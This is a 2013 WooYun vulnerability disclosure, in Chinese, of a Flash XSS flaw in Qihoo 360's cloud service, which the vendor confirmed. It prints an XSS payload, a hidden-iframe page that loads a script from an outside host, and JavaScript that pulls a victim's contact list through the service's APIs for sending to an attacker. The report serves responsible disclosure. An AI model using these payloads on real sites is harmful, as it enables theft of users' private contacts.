当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-041569

漏洞标题:360云服务存在漏洞可导致用户通讯录泄露

相关厂商:奇虎360

漏洞作者: 路人甲

提交时间:2013-10-31 11:35

修复时间:2013-12-15 11:36

公开时间:2013-12-15 11:36

漏洞类型:xss跨站脚本攻击

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-10-31: 细节已通知厂商并且等待厂商处理中
2013-10-31: 厂商已经确认,细节仅向厂商公开
2013-11-10: 细节向核心白帽子及相关领域专家公开
2013-11-20: 细节向普通白帽子公开
2013-11-30: 细节向实习白帽子公开
2013-12-15: 细节向公众公开

简要描述:

测试发现,360云服务设计存在缺陷,攻击者可轻易窃取用户通讯录。若以后上线备份照片等功能,则同样可以通过此漏洞轻易窃取到用户照片、视频等。

详细说明:

360云服务中,注意到有这个功能--复制到剪切板,该功能设计通过flash来实现。

360-1.jpg


找到swf url,反编译:

360-2.jpg


一目了然,存在flash xss,构造poc如下,

?id=\"))}catch(e){}if(!self.a)self.a=!alert(1)//&width=500&height=500


在cookie中可以看到,该域下的关键cookie T已经httponly,但是,那又怎样?
构造1.html,将此xss iframe进去,

<html>
<head>
<title>waiting...</title>
<iframe src="***.swf?id=\%22))}catch(e){a=document.createElement('script');a.src='http://x.tw/x.js';document.body.appendChild(a);}//&width&height" width=0 height=0>
</iframe>
</head>
<body>
<h2>exp</h2>
</body>
</html>


x.js中
通过devicelist、list这两个api获取用户通讯录信息

function send(url){
var xmlHttp = new XMLHttpRequest();
xmlHttp.open("GET",url,false);
xmlHttp.send();
var result = xmlHttp.responseText;
var data = eval("("+result+")");
return data;
}
var result = send("/contact/devicelist");
var device = result.data.list;
result = send("/contact/list?deviceName=" + device);


最后将result发送给攻击者server端。
至此,窃取用户通讯录信息已完成。

漏洞证明:

测试账号的通讯录

360-3.jpg


测试用户访问1.html页面后 攻击者拿到测试用户数据

360-4.jpg

修复方案:

过滤转义。

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:3

确认时间:2013-10-31 14:03

厂商回复:

Flash XSS漏洞已经确认,跟之前反馈的同一个问题。相关技术人员正在处理。感谢您对360安全的支持

最新状态:

暂无